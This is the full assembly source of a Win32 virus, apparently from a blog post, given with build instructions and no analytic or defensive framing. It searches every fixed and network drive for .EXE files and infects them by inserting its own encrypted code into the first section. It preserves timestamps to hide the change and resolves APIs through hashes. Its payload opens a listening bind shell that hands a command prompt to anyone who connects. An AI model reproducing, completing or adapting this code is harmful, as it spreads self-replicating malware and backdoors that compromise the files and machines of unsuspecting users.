;compile with:
;TASM32 /M /ML VIRUS.ASM
;TLINK32 VIRUS.OBJ,,,IMPORT32.LIB
.586
.model flat
locals
ofs equ offset
by equ byte ptr
wo equ word ptr
dwo equ dword ptr
include pe.inc
include mz.inc
include win32api.inc
include useful.inc
.data
virus_main:
;setup stack to return to host later
push ofs __ret
original_entrypoint equ $-4
;retrieve kernel32.dll base
mov eax,[esp.Arg1]
@@search:
xor ax,ax
cmp [eax.MZ_magic],IMAGE_DOS_SIGNATURE
jnz @@nopeheader
mov ecx,[eax.MZ_lfanew]
cmp [ecx+eax.NT_Signature],IMAGE_NT_SIGNATURE
jz @@found
@@nopeheader:
dec eax
jmp @@search
@@found:
;get all APIs the virus need
call get_k32_apis
;infect files
call infect_files
;scare user
call payload
;return to host
ret
;secret routine
delta:
call @@delta
@@delta:
pop ebp
sub ebp, ofs @@delta
ret
API macro s
_&s dd 0
CHASH &s
endm
CHASH macro s
hash = 0
irpc c, (s)
hash = ((hash shl 7) and 0FFFFFFFFh) or (hash shr (32-7))
hash = hash xor '&c'
endm
dd hash
endm
COMPARE macro
LOCAL @@calc_hash
pushad
lodsd
mov esi,[ebx]
xor edx, edx
@@calc_hash:
rol edx, 7
xor dl,[esi.ebp]
inc esi
cmp by [esi.ebp],0
jne @@calc_hash
sub eax,edx
popad
endm
GONEXT macro
lodsd
endm
X_PUSH macro r, x
xor r, r
_reg = 0
_xsize = 0
l = 0
irpc c,
l = l + 1
endm
j = 0
s = 0
l0 = l
if (l0 and 3) ne 0
j = j shl 8 + "x"
s = s + 8
l0 = l0 + 1
endif
if (l0 and 3) ne 0
j = j shl 8 + "y"
s = s + 8
l0 = l0 + 1
endif
if (l0 and 3) ne 0
j = j shl 8 + "z"
s = s + 8
l0 = l0 + 1
endif
q = 0
i = l - 1
irpc c1,
t = 0
irpc c,
k = "&c"
if k eq "~" ;zero
k = 0
endif
if k eq "|" ;space
k = 32
endif
if k eq "ö" ;cr
k = 13
endif
if k eq "õ" ;lf
k = 10
endif
if t eq i
j = j shl 8
if k ne 0
j = j + k
endif
s = s + 8
if s eq 32
_xsize = _xsize + 4
if q eq 0
sub r, _reg - j
endif
if (q eq 1) or (q eq 3)
xor r, _reg xor j
endif
if q eq 2
add r, j - _reg
endif
push r
_reg = j
q = q + 1
if q eq 4
q = 0
endif
s = 0
j = 0
endif
exitm
endif
t = t + 1
endm l irpc
i = i - 1
endm
if s ne 0
error
endif
endm
X_POP macro
lea esp, [esp + _xsize]
endm
WORKSIZE EQU 256*1024
;map the file in memory, and check if is a infectable PE file
map_infect:
pushad
call delta
mov edi,[esp.cPushad.Pshd.WFD_nFileSizeLow]
lea esi,[esp.cPushad.Pshd.WFD_szFileName]
;first of all, remove file attribute
push FILE_ATTRIBUTE_NORMAL
push esi
call [ebp+_SetFileAttributesA]
test eax,eax
jz @@error
;check if file is already infected (file size / 16 = 13)
mov eax,edi
and eax,15
xor eax,13
jz @@error_fixatt
;open file
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ
push GENERIC_WRITE+GENERIC_READ
push esi
call [ebp+_CreateFileA]
mov ebx,eax
inc eax
jz @@error_fixatt
add edi,WORKSIZE
;create map
push 0
push edi
push 0
push PAGE_READWRITE
push 0
push ebx
call [ebp+_CreateFileMappingA]
test eax,eax
jz @@close_file
mov edi,eax
;map file
push 0
push 0
push 0
push FILE_MAP_ALL_ACCESS
push edi
call [ebp+_MapViewOfFile]
test eax, eax
je @@close_map
push eax
;check if the file is in PE file format
cmp [eax.MZ_magic],IMAGE_DOS_SIGNATURE
jnz @@close_view
mov ecx,[eax.MZ_lfanew]
cmp ecx,[esp.cPushad.Pshd.WFD_nFileSizeLow+4]
jae @@close_view
cmp [ecx+eax.NT_Signature],IMAGE_NT_SIGNATURE
jnz @@close_view
;and check if it is infectable
cmp [ecx+eax.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
jnz @@close_view
cmp [ecx+eax.NT_OptionalHeader.OH_Magic],IMAGE_NT_OPTIONAL_HDR_MAGIC
jnz @@close_view
movzx ecx,[ecx+eax.NT_FileHeader.FH_Characteristics]
test ecx,IMAGE_FILE_EXECUTABLE_IMAGE+IMAGE_FILE_32BIT_MACHINE
jz @@close_view
test ecx,IMAGE_FILE_SYSTEM+IMAGE_FILE_DLL
jnz @@close_view
;infect file!
mov ecx,[esp.cPushad.Pshd.WFD_nFileSizeLow.Pshd]
call infect_image
;mark file as infected
add eax,15
and eax,not 15
add eax,13
mov [esp.cPushad.Pshd.WFD_nFileSizeLow.Pshd],eax
@@close_view:
call [ebp+_UnmapViewOfFile]
@@close_map:
push edi
call [ebp+_CloseHandle]
;set new file size
push NULL
push NULL
push dwo [esp.cPushad.Pshd.WFD_nFileSizeLow.(Pshd*2)]
push ebx
call [ebp+_SetFilePointer]
push ebx
call [ebp+_SetEndOfFile]
;restore time/date stamp
@@close_file:
lea eax,[esp.cPushad.Pshd.WFD_ftLastWriteTime.FT_dwLowDateTime]
push eax
add eax,8
push eax
add eax,8
push eax
push ebx
call [ebp+_SetFileTime]
push ebx
call [ebp+_CloseHandle]
;restore file attributes
@@error_fixatt:
push [esp.cPushad.Pshd.WFD_dwFileAttributes]
push esi
call [ebp+_SetFileAttributesA]
@@error:
popad
ret
;our infection process consist in inserting to 1st section of host file
infect_image:
pushad
push eax ;map
push ecx ;size
call delta
lea edx,[ebp+virus_main]
push edx
call get_virus_size
push eax
push 0
push original_entrypoint-virus_main
call infect_file
mov [esp.Pushad_eax],eax
popad
ret
; First-Section File Infector (VX Library). Freeware
infect_file proc pascal
arg viroldeip ; old eip ptr (rel2virstart)
arg virentry ; vir entry (rel2virstart)
arg virsize ; vir filesize
arg virstart ; vir start
arg filesize ; map filesize
arg fileptr ; map
local objtableptr
local virsize_aligned
local resourcebase
pusha
mov esi,fileptr
mov edi, [esi.MZ_lfanew]
cmp edi, [filesize]
jae @@close
add edi, esi
cmp [edi.NT_OptionalHeader.OH_AddressOfEntryPoint], 0
je @@close
test [edi.NT_FileHeader.FH_Characteristics],1 ; need relocs
jnz @@close
; calculate file-and-object-aligned virsize
mov eax, virsize
mov ecx, [edi.NT_OptionalHeader.OH_FileAlignment]
dec ecx
add eax, ecx
not ecx
and eax, ecx
mov ecx, [edi.NT_OptionalHeader.OH_SectionAlignment]
dec ecx
add eax, ecx
not ecx
and eax, ecx
mov virsize_aligned, eax
; calculate object table offset
movzx eax, [edi.NT_FileHeader.FH_SizeOfOptionalHeader]
lea eax, [edi+eax+18h]
mov objtableptr, eax
; fix resources (.rsrc) if present
cmp [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Resource.DD_VirtualAddress],0
je @@skipfixres
push [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Resource.DD_VirtualAddress]
call @@virt2phys
pop edx
mov resourcebase, edx
call @@fix_rsrc
@@skipfixres:
; fix relocs
push [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_BaseReloc.DD_VirtualAddress]
call @@virt2phys
pop ebx
mov edx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_BaseReloc.DD_Size]
add edx, ebx
@@rel_cycle: pusha
push dword ptr [ebx]
call @@virt2phys
pop esi
mov ecx, [ebx+4]
sub ecx, 8
add ebx, 8
@@rel_fix: or ecx, ecx
jz @@rel_end
mov eax, [ebx]
shr ah, 4
cmp ah, 3
jne @@rel_skip
mov eax, [ebx]
and eax, 0FFFh
mov edx, virsize_aligned
add [esi+eax], edx
@@rel_skip:
add ebx, 2
sub ecx, 2
jmp @@rel_fix
@@rel_end:
popa
mov eax, virsize_aligned ; fix page rva
add [ebx], eax
add ebx, [ebx+4]
cmp ebx, edx
jb @@rel_cycle
; fix import table
mov ecx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
jecxz @@skipfiximp
push ecx
call @@virt2phys
pop ebx
mov eax, virsize_aligned
@@imp_cycle: cmp dword ptr [ebx], 0
je @@imp_exit
push dword ptr [ebx+00h]
call @@virt2phys
pop ecx
@@imp1_cycle: cmp dword ptr [ecx], 0
je @@imp1_exit
add [ecx], eax
add ecx, 4
jmp @@imp1_cycle
@@imp1_exit:
add [ebx+00h], eax
add [ebx+0Ch], eax
add [ebx+10h], eax
add ebx, 14h
jmp @@imp_cycle
@@imp_exit:
@@skipfiximp:
; fix export table
mov ecx, [edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
jecxz @@skipfixexp
push ecx
call @@virt2phys
pop ebx
mov eax, virsize_aligned
add [ebx.ED_Name], eax
push [ebx.ED_AddressOfFunctions]
call @@virt2phys
pop edx
mov ecx, [ebx.ED_NumberOfFunctions]
@@fixexp1: jecxz @@fixexp1x
add [edx], eax
add edx, 4
dec ecx
jmp @@fixexp1
@@fixexp1x:
push [ebx.ED_AddressOfNames]
call @@virt2phys
pop edx
mov ecx, [ebx.ED_NumberOfNames]
@@fixexp2: jecxz @@fixexp2x
add [edx], eax
add edx, 4
dec ecx
jmp @@fixexp2
@@fixexp2x:
add [ebx.ED_AddressOfFunctions], eax
add [ebx.ED_AddressOfNames], eax
add [ebx.ED_AddressOfOrdinals], eax
@@skipfixexp:
; fix object table
mov ebx, objtableptr
movzx ecx, [edi.NT_FileHeader.FH_NumberOfSections] ; ecx = objcount
mov eax, virsize_aligned
add [ebx.SH_SizeOfRawData], eax
add [ebx.SH_VirtualSize], eax
@@obj_cycle: add ebx, IMAGE_SIZEOF_SECTION_HEADER
dec ecx
jz @@obj_end
add [ebx.SH_PointerToRawData], eax
add [ebx.SH_VirtualAddress], eax
jmp @@obj_cycle
@@obj_end:
; fix entrypointrva
mov eax, virsize_aligned
add [edi.NT_OptionalHeader.OH_AddressOfEntryPoint], eax
; fix other PE header entries
add [edi.NT_OptionalHeader.OH_SizeOfCode], eax
add [edi.NT_OptionalHeader.OH_SizeOfImage], eax
add [edi.NT_OptionalHeader.OH_BaseOfData], eax
; fix PE rvas
lea ebx, [edi.NT_OptionalHeader.OH_DataDirectory]
mov ecx, [edi.NT_OptionalHeader.OH_NumberOfRvaAndSizes]
mov eax, virsize_aligned
@@rva_cycle: cmp dword ptr [ebx], 0
je @@rva_skip
add dword ptr [ebx], eax
@@rva_skip: add ebx, 8
loop @@rva_cycle
; increase filesize of file
mov eax, virsize_aligned
add [filesize], eax
; set our entrypoint
mov eax, objtableptr
mov eax, [eax.SH_VirtualAddress]
add eax, virentry
xchg eax, [edi.NT_OptionalHeader.OH_AddressOfEntryPoint]
add eax,[edi.NT_OptionalHeader.OH_ImageBase]
push ebp
call delta
mov dword ptr [ebp+original_entrypoint], eax
pop ebp
; move 2nd part of file forward
mov ecx, [filesize]
mov eax, objtableptr
or [eax.SH_Characteristics],IMAGE_SCN_MEM_WRITE
sub ecx, [eax.SH_PointerToRawData]
add esi, [filesize]
mov edi, esi
add edi, virsize_aligned
dec esi
dec edi
std
rep movsb
cld
; copy our code into file
mov eax, objtableptr
mov eax, [eax.SH_VirtualAddress]
add eax, virentry
mov edi, objtableptr
mov edi, [edi.SH_PointerToRawData]
add edi, [fileptr]
mov esi, virstart
mov ecx, virsize
push ebp
mov ebp,fileptr
call encrypt
add ebp, [ebp.MZ_lfanew]
add [ebp.NT_OptionalHeader.OH_AddressOfEntryPoint],eax
pop ebp
@@close:
mov eax,[filesize]
mov [esp.Pushad_eax],eax
popa
ret
@@virt2phys: pusha
mov esi, [esp+32+4]
movzx ecx, [edi.NT_FileHeader.FH_NumberOfSections] ; ecx = objcount
mov ebx, objtableptr
@@v2p_cycle: mov eax, esi
sub eax, [ebx.SH_VirtualAddress]
jc @@v2p_cont
cmp eax, [ebx.SH_SizeOfRawData]
jae @@v2p_cont
add eax, [ebx.SH_PointerToRawData]
xchg esi, eax
clc
jmp @@v2p_exit
@@v2p_cont: add ebx, IMAGE_SIZEOF_SECTION_HEADER
dec ecx
jnz @@v2p_cycle
stc
@@v2p_exit: add esi, [fileptr]
mov [esp+32+4], esi
popa
retn
; input: EDX = rsrc offset
@@fix_rsrc: movzx ecx, word ptr [edx+0Ch]
movzx eax, word ptr [edx+0Eh]
add ecx, eax
lea ebx, [edx+10h]
@@rsrc_cycle: jecxz @@rsrc_end
mov eax, [ebx+4]
btr eax, 31
jnc @@x_data
pusha
mov edx, eax
add edx, resourcebase
call @@fix_rsrc
popa
jmp @@x_both
@@x_data:
add eax, resourcebase
push ecx
mov ecx, virsize_aligned
add [eax], ecx
pop ecx
@@x_both:
add ebx, 8
dec ecx
jmp @@rsrc_cycle
@@rsrc_end: retn
endp
;open remote shell (NT4+ only)
payload:
pushad
;setup stuff
call @@apiimport
API WSAStartup
API WSASocketA
API bind
API listen
API accept
dd -1
@@apiimport:
pop esi
;get dll & APIs
X_PUSH eax,WS2_32.DLL~
push esp
call delta
call [ebp+_LoadLibraryA]
X_POP
call get_apis
;init internet
sub esp,200h
push esp
push 1
call [ebp+_WSAStartup]
;create remote shell thread
sub eax,eax
push eax
push esp
push eax
push 0
call @@scanner
jmp shell_thread
@@scanner:
push eax
push eax
call [ebp+_CreateThread]
add esp,200h+1*4
popad
ret
;scan internet in search for machines infected by mydoom
shell_thread:
xor esi, esi
push esi
push esi
push esi
push esi
push 1
push 2
call delta
call [ebp+_WSASocketA]
mov ebx,eax
push esi
push esi
push esi
mov eax, 290610
xchg al,ah
shl eax,16
mov ax,2
push eax
mov eax,esp
push 16
push eax
push ebx
call [ebp+_bind]
add esp,4*4
push 16
push ebx
call [ebp+_listen]
@@wait4connection:
push esi
push esi
push ebx
call [ebp+_accept]
push ebx
mov edi,esp
xchg eax,ebx
push 104h
pop ecx
X_PUSH eax,COMSPEC~
mov eax,esp
sub esp,ecx
mov edx,esp
push ecx
push edx
push eax
call [ebp+_GetEnvironmentVariableA]
mov edx,esp
push ebx
push ebx
push ebx
push esi
push esi
push 257 ;STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES
push 10
pop ecx
@@pushloop:
push esi
loop @@pushloop
push 68 ;sizeof(_STARTUPINFO)
mov ecx,esp
push esi
push esi
push esi
push esi
push esp
push ecx
push esi
push esi
push esi
push 1
push esi
push esi
push esi
push edx
call [ebp+_CreateProcessA]
mov esp,edi
pop ebx
jmp @@wait4connection
;return virus size+decryptor
get_virus_size:
mov eax, ((virus_size+3)/4*4)+(ofs __decrypt_end-ofs __decrypt)
ret
;simple xor encryption
encrypt:
pushad
;calculate our 2 encryption values (EDX EBX)
call delta
call [ebp+_GetTickCount]
xor eax,esp
mov ebx,eax
call [ebp+_GetTickCount]
mov edx,eax
;align virus size to dword boundary (coz we encrypt dwords)
add ecx,3
and ecx,not 3
;increase entrypoint by virus size(coz decryptor is after virus body)
mov [esp.Pushad_eax],ecx
push ecx
push ebx
push edx
;copy/encrypt virus body to host section
shr ecx,2
push ecx
@@crypt:
lodsd
xor eax,ebx
add ebx,edx
stosd
loop @@crypt
call @@skip_decrypt_routine
__decrypt equ $
call @@delta
@@delta:
pop esi
mov ebx,12345678h
key_value1 equ $-4
mov ecx,12345678h
csize equ $-4
mov edx,12345678h
key_value2 equ $-4
@@decryptloop:
xor [esi+12345678h],ebx
enc_ptr equ $-4
add ebx,edx
lodsd
loop @@decryptloop
db 0e9h
dd 12345678h
__decrypt_end equ $
@@skip_decrypt_routine:
pop esi
;fix values for decryption
pop dwo [esi+(ofs csize-ofs __decrypt)]
pop dwo [esi+(ofs key_value2-ofs __decrypt)]
pop dwo [esi+(ofs key_value1-ofs __decrypt)]
pop eax
add eax,ofs @@delta-ofs __decrypt
neg eax
mov [esi+(ofs enc_ptr-ofs __decrypt)],eax
sub eax,ofs __decrypt_end-ofs @@delta
mov [esi+(ofs __decrypt_end-ofs __decrypt)-4],eax
;copy decryption routine after crypted virus body
mov ecx,(ofs __decrypt_end-ofs __decrypt)
rep movsb
popad
ret
infect_files:
;search for file to infect
pushad
call delta
;setup parameter for a later call to SetThreadPriority
push -2
;create a new thread, that will search for files in all disks
sub eax,eax
push eax
push esp
push eax
push eax
call @@scanner
call scan_thread
ret 4
@@scanner:
push eax
push eax
call [ebp+_CreateThread]
;set a low priority to the thread, so its more stealth
mov [esp],eax
call [ebp+_SetThreadPriority]
popad
ret
;scan for all files in all directories of all disks
scan_thread:
@@infect_files:
pushad
;scan all disks in system, starting by "A:\"
call delta
X_PUSH eax,\:@
@@next_disc:
cmp by [esp], "Z"
je @@done
inc dwo [esp]
;wait! only scan fixed and network drives
push esp
call [ebp+_GetDriveTypeA]
cmp al, 4
je @@network
cmp al, 3
jne @@next_disc
;scan it
@@network:
push esp
call [ebp+_SetCurrentDirectoryA]
test eax, eax
jz @@next_disc
;search for files recursively
call search_disk
jmp @@next_disc
@@done:
X_POP
popad
ret
;recursive file find
search_disk:
pushad
sub esp,SIZEOF_WIN32_FIND_DATA
mov eax,esp
X_PUSH ecx,*.*~
mov ecx,esp
;search for all files
push eax
push ecx
call [ebp+_FindFirstFileA]
X_POP
mov ebx,eax
inc eax
jz @@updir
;found a directory, instead of a file? change current dir to it
@@scandir:
lea esi, [esp.WFD_szFileName]
test dwo [esp.WFD_dwFileAttributes],FILE_ATTRIBUTE_DIRECTORY
jnz @@isdir
;if is a file, check if have .EXE extension
@@seekfilenameend:
lodsb
test al,al
jnz @@seekfilenameend
mov ecx,[esi-5]
or ecx,20202000h
sub ecx,("exe."-12345678h)
sub ecx,12345678h
jnz @@keepsearching
;is a .EXE, then infect
call map_infect
;search next file
@@keepsearching:
push esp
push ebx
call [ebp+_FindNextFileA]
test eax, eax
jnz @@scandir
;error? no more files? return to previous directory and continue...
@@updir:
push ebx
call [ebp+_FindClose]
X_PUSH eax,..~
push esp
call [ebp+_SetCurrentDirectoryA]
X_POP
add esp,SIZEOF_WIN32_FIND_DATA
popad
ret
;enter directory just found
@@isdir:
cmp by [esi], '.'
je @@keepsearching
push esi
call [ebp+_SetCurrentDirectoryA]
test eax, eax
jz @@keepsearching
;and start scanning into it
call search_disk
jmp @@keepsearching
;this routine retrieve from the kernel32.dll image (in EAX) the APIs the virus need.
get_k32_apis:
call @@apiimport
API SetFileTime
API SetFileAttributesA
API CreateFileA
API CreateFileMappingA
API MapViewOfFile
API UnmapViewOfFile
API CloseHandle
API SetFilePointer
API SetEndOfFile
API LoadLibraryA
API CreateThread
API CreateProcessA
API GetEnvironmentVariableA
API GetTickCount
API SetThreadPriority
API FindFirstFileA
API FindNextFileA
API FindClose
API GetDriveTypeA
API SetCurrentDirectoryA
dd -1
@@apiimport:
;ESI will hold the APIs we need
pop esi
get_apis:
pushad
;eax = dll imagebase
mov ebp,eax
add eax,[ebp.MZ_lfanew]
;EDI will hold the pointer to dll export directory
mov edi,[eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
add edi,ebp
;check if all APIs where retrieved. if so, exit
@@scan_name:
mov edx,esi
lodsd
inc eax
jz @@done_import
;now, in a cycle, compare the name of the APIs in the kernel32.dll export
;table with the API we need.
mov ebx,[edi.ED_AddressOfNames]
add ebx,ebp
sub ecx,ecx
@@getapinameptr:
COMPARE
jz @@found
;check next API in kernel32.dll export table
inc ecx
add ebx,4
jmp @@getapinameptr
;we found the API. so, retrieve its ordinal number, and use it to get the API
;address
@@found:
mov eax,[edi.ED_AddressOfNameOrdinals]
add eax,ebp
shl ecx, 1
movzx ecx,wo [eax.ecx]
mov eax,[edi.ED_AddressOfFunctions]
add eax,ebp
mov eax,[eax.(ecx*4)]
add eax,ebp
mov [edx],eax
GONEXT
jmp @@scan_name
@@done_import:
popad
ret
virus_size=$-virus_main
.code
;thats the stub code, that simulate a infected file, for the virus first
;generation sample.
stubcode:
jmp virus_main
__ret:
push 10*1000
extrn Sleep:PROC
call Sleep
push 0
extrn ExitProcess:PROC
call ExitProcess
end stubcode
0 comments:
Post a Comment